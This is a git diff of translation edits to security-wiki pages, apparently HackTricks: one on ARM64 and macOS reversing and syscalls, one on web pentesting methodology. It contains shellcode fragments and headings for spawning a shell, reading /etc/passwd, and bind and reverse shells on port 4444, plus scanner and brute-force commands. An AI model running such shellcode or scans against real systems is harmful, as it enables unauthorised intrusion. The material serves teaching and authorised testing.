reserved: -- **`r15`**: Лічильник програми (завжди). Містить адресу наступної інструкції. У A32 поточний + 8, у T32, поточний + 4. -- **`r11`**: Вказівник кадру -- **`r12`**: Регістр виклику між процедурами -- **`r13`**: Вказівник стеку -- **`r14`**: Регістр посилання +- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4. +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned) +- **`r14`**: Link Register -Більше того, регістри зберігаються в **`banked registries`**. Це місця, які зберігають значення регістрів, що дозволяє виконувати **швидке перемикання контексту** під час обробки виключень та привілейованих операцій, щоб уникнути необхідності вручну зберігати та відновлювати регістри щоразу.\ -Це робиться шляхом **збереження стану процесора з `CPSR` до `SPSR`** режиму процесора, в якому виникає виключення. Під час повернення з виключення, **`CPSR`** відновлюється з **`SPSR`**. +Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\ +This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**. -### CPSR - Реєстр поточного статусу програми +### CPSR - Current Program Status Register -У AArch32 CPSR працює подібно до **`PSTATE`** в AArch64 і також зберігається в **`SPSR_ELx`** під час виникнення виключення для подальшого відновлення виконання: +In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
-Поля поділені на кілька груп: +The fields are divided in some groups: -- Реєстр статусу програми (APSR): Арифметичні прапори та доступні з EL0 -- Реєстри стану виконання: Поведінка процесу (керується ОС). +- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0 +- Execution State Registers: Process behaviour (managed by the OS). -#### Реєстр статусу програми (APSR) +#### Application Program Status Register (APSR) -- Прапори **`N`**, **`Z`**, **`C`**, **`V`** (так само, як в AArch64) -- Прапор **`Q`**: Він встановлюється в 1 щоразу, коли **відбувається цілочисельне насичення** під час виконання спеціалізованої арифметичної інструкції з насиченням. Як тільки він встановлений на **`1`**, він зберігає значення, поки його не встановлять вручну на 0. Більше того, немає жодної інструкції, яка перевіряє його значення неявно, це потрібно робити, читаючи його вручну. -- Прапори **`GE`** (Більше або дорівнює): Використовуються в SIMD (Одна інструкція, кілька даних) операціях, таких як "паралельне додавання" та "паралельне віднімання". Ці операції дозволяють обробляти кілька точок даних в одній інструкції. +- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64) +- The **`Q`** flag: It's set to 1 whenever **integer saturation occurs** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually. +- **`GE`** (Greater than or equal) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction. -Наприклад, інструкція **`UADD8`** **додає чотири пари байтів** (з двох 32-бітних операндів) паралельно та зберігає результати в 32-бітному регістрі. Потім вона **встановлює прапори `GE` в `APSR`** на основі цих результатів. Кожен прапор GE відповідає одному з додавань байтів, вказуючи, чи відбулося **переповнення** для цієї пари байтів. +For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **overflowed**. -Інструкція **`SEL`** використовує ці прапори GE для виконання умовних дій. +The **`SEL`** instruction uses these GE flags to perform conditional actions. -#### Реєстри стану виконання +#### Execution State Registers -- Біти **`J`** та **`T`**: **`J`** має бути 0, і якщо **`T`** дорівнює 0, використовується набір інструкцій A32, а якщо 1, використовується T32. -- **Реєстр стану блоку IT** (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом **`IT`**. -- Біти **`E`**: Вказують на **endianness**. -- Біти режиму та маски виключень (0-4): Вони визначають поточний стан виконання. **5-й** вказує, чи програма працює в 32-бітному (1) або 64-бітному (0) режимі. Інші 4 представляють **режим виключення, що використовується в даний момент** (коли виникає виключення і його обробляють). Встановлене число **вказує на поточний пріоритет** у разі, якщо виникає інше виключення під час обробки цього. +- The **`J`** and **`T`** bits: **`J`** should be 0 and if **`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used. +- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group. +- **`E`** bit: Indicates the **endianness**. +- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
-- **`AIF`**: Деякі виключення можуть бути вимкнені за допомогою бітів **`A`**, `I`, `F`. Якщо **`A`** дорівнює 1, це означає, що **асинхронні аборти** будуть викликані. **`I`** налаштовує відповідь на зовнішні апаратні **Запити переривання** (IRQ). А F пов'язаний з **Швидкими запитами переривання** (FIR). +- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs). ## macOS ### BSD syscalls -Перегляньте [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls матимуть **x16 > 0**. +Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**. ### Mach Traps -Перегляньте в [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) таблицю `mach_trap_table` та в [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) прототипи. Максимальна кількість Mach traps дорівнює `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому вам потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** дорівнює **`-10`**. +Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**. -Ви також можете перевірити **`libsystem_kernel.dylib`** в дизасемблері, щоб дізнатися, як викликати ці (та BSD) syscalls: +You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +327,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Зверніть увагу, що **Ida** та **Ghidra** також можуть декомпілювати **конкретні dylibs** з кешу, просто передавши кеш. +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> Іноді легше перевірити **декомпільований** код з **`libsystem_kernel.dylib`** **ніж** перевіряти **джерельний код**, оскільки код кількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в джерельному коді), тоді як у dylib ви можете знайти, що викликається. +> Іноді простіше перевірити **декомпільований** код з **`libsystem_kernel.dylib`**, ніж перевіряти **вихідний код**, бо код кількох syscalls (BSD та Mach) генерується скриптами (див. коментарі у вихідниках), тоді як у dylib можна побачити, що саме викликається. -### machdep виклики +### machdep calls -XNU підтримує ще один тип викликів, званий залежними від машини. Кількість цих викликів залежить від архітектури, і ні виклики, ні числа не гарантовано залишаться постійними. +XNU підтримує інший тип викликів, званих machine dependent. Номери цих викликів залежать від архітектури, і ні самі виклики, ні їхні номери не гарантовано залишатимуться сталими. ### comm page -Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного процесу користувача. Вона призначена для того, щоб зробити перехід з режиму користувача в простір ядра швидшим, ніж використання системних викликів для служб ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним. +Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного користувацького процесу. Вона покликана зробити перехід з user mode у kernel space швидшим, ніж використання syscalls для сервісів ядра, які використовуються настільки часто, що такий перехід був би дуже неефективним. -Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки comm. +For example the call `gettimeofdate` reads the value of `timeval` directly from the comm page. ### objc_msgSend -Цю функцію дуже часто можна знайти в програмах на Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C. +It's super common to find this function used in Objective-C or Swift programs. This function allows to call a method of an objective-C object. -Параметри ([більше інформації в документації](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Параметри ([докладніше в документації](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Вказівник на екземпляр - x1: op -> Селектор методу -- x2... -> Інші аргументи викликаного методу +- x2... -> Решта аргументів викликаного методу -Отже, якщо ви поставите точку зупинки перед переходом до цієї функції, ви зможете легко знайти, що викликається в lldb (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду): +Отже, якщо встановити брейкпоїнт перед переходом до цієї функції, ви легко зможете знайти, що викликається в lldb за допомогою (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який запускатиме команду): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,27 +371,27 @@ whoami ) ``` > [!TIP] -> Встановивши змінну середовища **`NSObjCMessageLoggingEnabled=1`**, можна записувати, коли ця функція викликається у файлі, наприклад, `/tmp/msgSends-pid`. +> Встановивши змінну оточення **`NSObjCMessageLoggingEnabled=1`**, можна логувати виклики цієї функції у файл на кшталт `/tmp/msgSends-pid`. > -> Більше того, встановивши **`OBJC_HELP=1`** та викликавши будь-який бінар, ви можете побачити інші змінні середовища, які можна використовувати для **логування** певних дій Objc-C. +> Крім того, встановлення **`OBJC_HELP=1`** і запуск будь-якого binary дозволяє побачити інші змінні оточення, які можна використовувати для **log** коли відбуваються певні Objc-C дії. -Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляра, для цього проводяться різні пошуки: +Коли ця функція викликається, потрібно знайти метод, який викликається для вказаного екземпляра; для цього виконуються такі пошуки: -- Виконати оптимістичний пошук у кеші: -- Якщо успішно, завершити -- Отримати runtimeLock (читання) -- Якщо (realize && !cls->realized) реалізувати клас -- Якщо (initialize && !cls->initialized) ініціалізувати клас -- Спробувати власний кеш класу: -- Якщо успішно, завершити -- Спробувати список методів класу: -- Якщо знайдено, заповнити кеш і завершити -- Спробувати кеш суперкласу: -- Якщо успішно, завершити -- Спробувати список методів суперкласу: -- Якщо знайдено, заповнити кеш і завершити -- Якщо (resolver) спробувати резолвер методу і повторити з пошуку класу -- Якщо все ще тут (= все інше не вдалося) спробувати форвардер +- Perform optimistic cache lookup: +- If successful, done +- Acquire runtimeLock (read) +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- Try class own cache: +- If successful, done +- Try class method list: +- If found, fill cache and done +- Try superclass cache: +- If successful, done +- Try superclass method list: +- If found, fill cache and done +- If (resolver) try method resolver, and repeat from class lookup +- If still here (= all else has failed) try forwarder ### Shellcodes @@ -467,7 +469,7 @@ return 0; #### Shell -Взято з [**тут**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) та пояснено. +Взято з [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) і пояснено. {{#tabs}} {{#tab name="with adr"}} @@ -487,7 +489,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="з використанням стеку"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +520,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="з adr для linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -537,9 +539,9 @@ sh_path: .asciz "/bin/sh" {{#endtab}} {{#endtabs}} -#### Читати за допомогою cat +#### Читання за допомогою cat -Мета полягає в тому, щоб виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес). +Мета — виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) — це масив параметрів (у пам'яті це означає стек адрес). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +567,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Виклик команди з sh з форка, щоб основний процес не був вбитий +#### Викликати команду через sh у форку, щоб головний процес не був завершений ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +613,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell з [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) на **порті 4444** +Bind shell з [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) на порту **4444** ```armasm .section __TEXT,__text .global _main @@ -693,7 +695,7 @@ mov x2, xzr mov x16, #59 svc #0x1337 ``` -#### Зворотний шелл +#### Reverse shell З [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell до **127.0.0.1:4444** ```armasm diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index c848219c5..81744eeaa 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## Основна інформація -Веб-сервіс є най**поширенішим та наймасштабнішим сервісом**, і існує багато **різних типів вразливостей**. +Веб-сервіс є найпоширенішою і наймасштабнішою службою, і існує багато **різних типів вразливостей**. -**Порт за замовчуванням:** 80 (HTTP), 443 (HTTPS) +**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## Зведення методології +## Короткий огляд методології -> У цій методології ми припускаємо, що ви збираєтесь атакувати один домен (або піддомен) і лише його. Отже, цю методологію слід застосувати до кожного виявленого домену, піддомену або IP з невизначеним веб‑сервером у межах обсягу тестування. +> У цій методології ми припускаємо, що ви збираєтеся атакувати один домен (або піддомен) і тільки його. Тому застосовуйте цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером в межах scope. -- [ ] Почніть з **виявлення** **технологій**, що використовуються веб‑сервером. Шукайте **трюки**, які слід врахувати протягом решти тесту, якщо вам вдасться ідентифікувати технологію. -- [ ] Чи є відомі **вразливості** для поточної версії цієї технології? -- [ ] Використовується відома технологія? Є якісь **корисні трюки** для витягнення додаткової інформації? -- [ ] Чи є спеціалізований сканер для запуску (наприклад, wpscan)? -- [ ] Запустіть сканери загального призначення. Ніколи не знаєш, чи знайдуть вони щось або якусь цікаву інформацію. -- [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, помилка **404** та **SSL/TLS scan** (якщо HTTPS). -- [ ] Почніть **spidering** сторінки: час **знайти** всі можливі **файли, папки** та **параметри**, що використовуються. Також перевірте на наявність **особливих знахідок**. -- [ ] _Примітка: щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід просканувати._ -- [ ] **Directory Brute-Forcing**: спробуйте brute-force всі виявлені папки в пошуках нових **файлів** та **директорій**. -- [ ] _Примітка: щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід brute-forced._ -- [ ] **Backups checking**: перевірте, чи можна знайти **резервні копії** виявлених файлів, додаючи поширені розширення для бекапу. -- [ ] **Brute-Force parameters**: спробуйте **знайти приховані параметри**. -- [ ] Після того як ви **виявили** всі можливі **endpoints**, які приймають **user input**, перевірте всі типи **vulnerabilities**, пов’язані з ними. -- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Почніть з **ідентифікації** **технологій**, які використовує веб-сервер. Шукайте **трюки**/підказки, які варто мати на увазі під час решти тесту, якщо вам вдалося визначити технологію. +- [ ] Чи є якісь **відомі вразливості** для версії цієї технології? +- [ ] Використовується якась **well known tech**? Є якісь **useful trick** для отримання додаткової інформації? +- [ ] Чи є **specialised scanner**, який потрібно запустити (наприклад wpscan)? +- [ ] Запустіть **general purposes scanners**. Ви ніколи не знаєте, чи знайдуть вони щось або якусь цікаву інформацію. +- [ ] Почніть з **initial checks**: **robots**, **sitemap**, **404** error та **SSL/TLS scan** (якщо HTTPS). +- [ ] Почніть **spidering** веб-сторінки: настав час **знайти** всі можливі **files, folders** та **parameters being used.** Також перевірте на **special findings**. +- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, він має бути spidered._ +- [ ] **Directory Brute-Forcing**: Спробуйте brute force всі виявлені папки у пошуках нових **files** та **directories**. +- [ ] _Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід Brute-Forced._ +- [ ] **Backups checking**: Перевірте, чи можете знайти **backups** для **discovered files**, додаючи поширені розширення резервних копій. +- [ ] **Brute-Force parameters**: Спробуйте **знайти приховані параметри**. +- [ ] Коли ви **ідентифікували** всі можливі **endpoints**, що приймають **user input**, перевірте їх на всі види пов'язаних **вразливостей**. +- [ ] [Дотримуйтесь цього контрольного списку](../../pentesting-web/web-vulnerabilities-methodology.md) ## Server Version (Vulnerable?) ### Ідентифікація -Перевірте, чи існують **відомі вразливості** для тієї **версії** сервера, що працює.\ -**HTTP headers** та **cookies** у відповіді можуть дуже допомогти в **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) або [**https://builtwith.com/**](https://builtwith.com)**:** +Перевірте, чи є **відомі вразливості** для **версії** сервера, яка запущена.\\ +**HTTP headers and cookies of the response** можуть бути дуже корисними для **identify** **technologies** та/або **version**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Шукайте **для** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Шукати [**вразливості версії веб‑застосунку**](../../generic-hacking/search-exploits.md) -### **Перевірте наявність WAF** +### **Перевірити, чи є WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Трюки для Web-технологій +### Хитрощі веб‑технологій -Деякі **трюки** для **пошуку вразливостей** у різних добре відомих **технологіях**, що використовуються: +Деякі **хитрощі** для **знаходження вразливостей** у різних відомих **технологіях**, що використовуються: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,27 +101,27 @@ webanalyze -host https://google.com -crawl 2 - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Майте на увазі, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **субдоменах**._\ -Якщо веб‑додаток використовує будь‑яку відому **tech/platform listed before** або **any other**, не забудьте **search on the Internet** нові трюки (і повідомте мені!). +_Врахуйте, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **субдоменах**._\ +Якщо веб‑застосунок використовує будь‑яку з перелічених вище відомих **технологій/платформ** або будь‑яку іншу, не забудьте **шукати в Інтернеті** нові хитрощі (і повідомте мені!). -### Огляд вихідного коду +### Перегляд вихідного коду -Якщо **source code** додатку доступний у **github**, окрім проведення вами **White box test** додатку, існує **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**: +Якщо **вихідний код** застосунку доступний на **github**, окрім виконання власного White box тесту застосунку, є деяка інформація, яка може бути корисною для поточного Black-Box testing: -- Чи є **Change-log або Readme або Version** файл чи будь-який інший файл з **інформацією про версію**, доступний через веб? -- Як і де зберігаються **credentials**? Чи існує якийсь (доступний?) **file** з credentials (usernames або passwords)? -- Чи **passwords** збережені у **plain text**, **encrypted**, або який **hashing algorithm** використовується? +- Чи є **Change-log or Readme or Version** файл чи будь‑що з **інформацією про версію**, доступне через веб? +- Як і де зберігаються **credentials**? Чи є якийсь (доступний?) **файл** з credentials (usernames або passwords)? +- Чи зберігаються **passwords** у **plain text**, **encrypted** або який **hashing algorithm** використовується? - Чи використовується якийсь **master key** для шифрування чогось? Який **algorithm** використовується? -- Чи можете ви **access any of these files**, використовуючи якусь вразливість? -- Чи є якась **interesting information in the github** (вирішені чи невирішені) **issues**? Або в **commit history** (можливо якийсь **password introduced inside an old commit**)? +- Чи можете ви **отримати доступ до будь‑якого з цих файлів**, експлуатуючи якусь вразливість? +- Чи є якась **цікава інформація в github** (вирішені та невирішені) **issues**? Або в **commit history** (можливо якийсь **password** був доданий у старому коміті)? {{#ref}} code-review-tools.md {{#endref}} -### Automatic scanners +### Автоматизовані сканери -#### General purpose automatic scanners +#### Автоматичні сканери загального призначення ```bash nikto -h whatweb -a 4 @@ -133,12 +133,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS-сканери +#### CMS сканери -Якщо використовується CMS, не забувайте **запустити сканер**, можливо знайдеться щось цікаве: +Якщо використовується CMS, не забудьте **запустити сканер**, можливо знайдеться щось цінне: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** сайти на предмет проблем із безпекою. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** — веб-сайти на предмет проблем безпеки. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **або** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -148,45 +148,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> На цьому етапі у вас уже має бути певна інформація про web server, що використовує клієнт (якщо надано будь‑які дані), і деякі прийоми, які варто пам'ятати під час тестування. Якщо пощастило, ви навіть знайшли CMS і запустили scanner. +> На цьому етапі ви вже повинні мати якусь інформацію про веб-сервер, що використовується клієнтом (якщо надано дані), і кілька трюків, які варто пам'ятати під час тесту. Якщо вам пощастило, ви навіть знайшли CMS і запустили якийсь сканер. -## Покрокове виявлення веб-застосунку +## Step-by-step Web Application Discovery -> З цього моменту ми почнемо взаємодію з веб-застосунком. +> З цього моменту ми починаємо взаємодіяти з веб-застосунком. ### Початкові перевірки -**Сторінки за замовчуванням з цікавою інформацією:** +**Сторінки за замовчуванням з корисною інформацією:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Перевірте також коментарі на головних і другорядних сторінках. +- Перевірте також коментарі на основних та вторинних сторінках. -**Примусове викликання помилок** +**Виклик помилок** -Web servers можуть **поводитись непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **vulnerabilities** або призвести до розкриття конфіденційної інформації. +Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або призвести до **розкриття чутливої інформації**. -- Доступ до **fake pages** типу /whatever_fake.php (.aspx,.html,.etc) -- **Add "\[]", "]]", and "\[\["** у значення cookie та значення параметрів, щоб спричинити помилки -- Згенеруйте помилку, передавши як вхід **`/~randomthing/%s`** в кінці **URL** -- Спробуйте **different HTTP Verbs** типу PATCH, DEBUG або некоректні, як FAKE +- Доступайтеся до **фейкових сторінок** типу /whatever_fake.php (.aspx,.html,.etc) +- **Add "\[]", "]]", and "\[\["** у **значення cookie** та **значення параметрів**, щоб спричинити помилки +- Згенеруйте помилку, передавши як вхід **`/~randomthing/%s`** в **кінці** **URL** +- Спробуйте **різні HTTP Verbs**, наприклад PATCH, DEBUG або неправильні, наприклад FAKE #### **Перевірте, чи можете завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Якщо ви виявите, що **WebDav** увімкнено, але у вас недостатньо прав для **uploading files** в кореневій папці, спробуйте: +Якщо ви виявили, що **WebDav** увімкнено, але у вас недостатньо прав для **uploading files** у кореневу папку, спробуйте: -- **Brute Force** credentials -- **Upload files** через WebDav у інші знайдені папки на сайті. Можливо, у вас є дозволи на завантаження файлів у інших папках. +- **Brute Force** облікових даних +- **Upload files** через WebDav у інші знайдені папки на сайті. Можливо, у вас є права завантаження в інших папках. -### **Уразливості SSL/TLS** +### **SSL/TLS вразливості** -- Якщо застосунок **не вимагає HTTPS** в жодній частині, то він вразливий до MitM +- Якщо застосунок **не змушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM** - Якщо застосунок **відправляє чутливі дані (паролі) через HTTP**, це серйозна вразливість. -Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки SSL/TLS на **вразливості** (у Bug Bounty програмах такі вразливості, ймовірно, не будуть прийняті) та використайте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки. +Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (у Bug Bounty програмах ці типи вразливостей, можливо, не приймаються) та використайте [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -195,60 +195,60 @@ Web servers можуть **поводитись непередбачувано** sslscan sslyze --regular ``` -Інформація про вразливості SSL/TLS: +Information about SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Запустіть якийсь вид **spider** всередині веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Тому для збору великої кількості валідних шляхів слід використовувати web crawling та зовнішні джерела. +Запустіть який-небудь **spider** всередині веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Для цього слід використовувати веб-кролінг та зовнішні джерела, щоб відшукати якомога більше валідних шляхів. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS-файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFider для JS-файлів та Archive.org як зовнішнє джерело. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, з LinkFider для JS файлів та Archive.org як зовнішнім джерелом. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "juicy files". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Також шукає в Archive.org -- 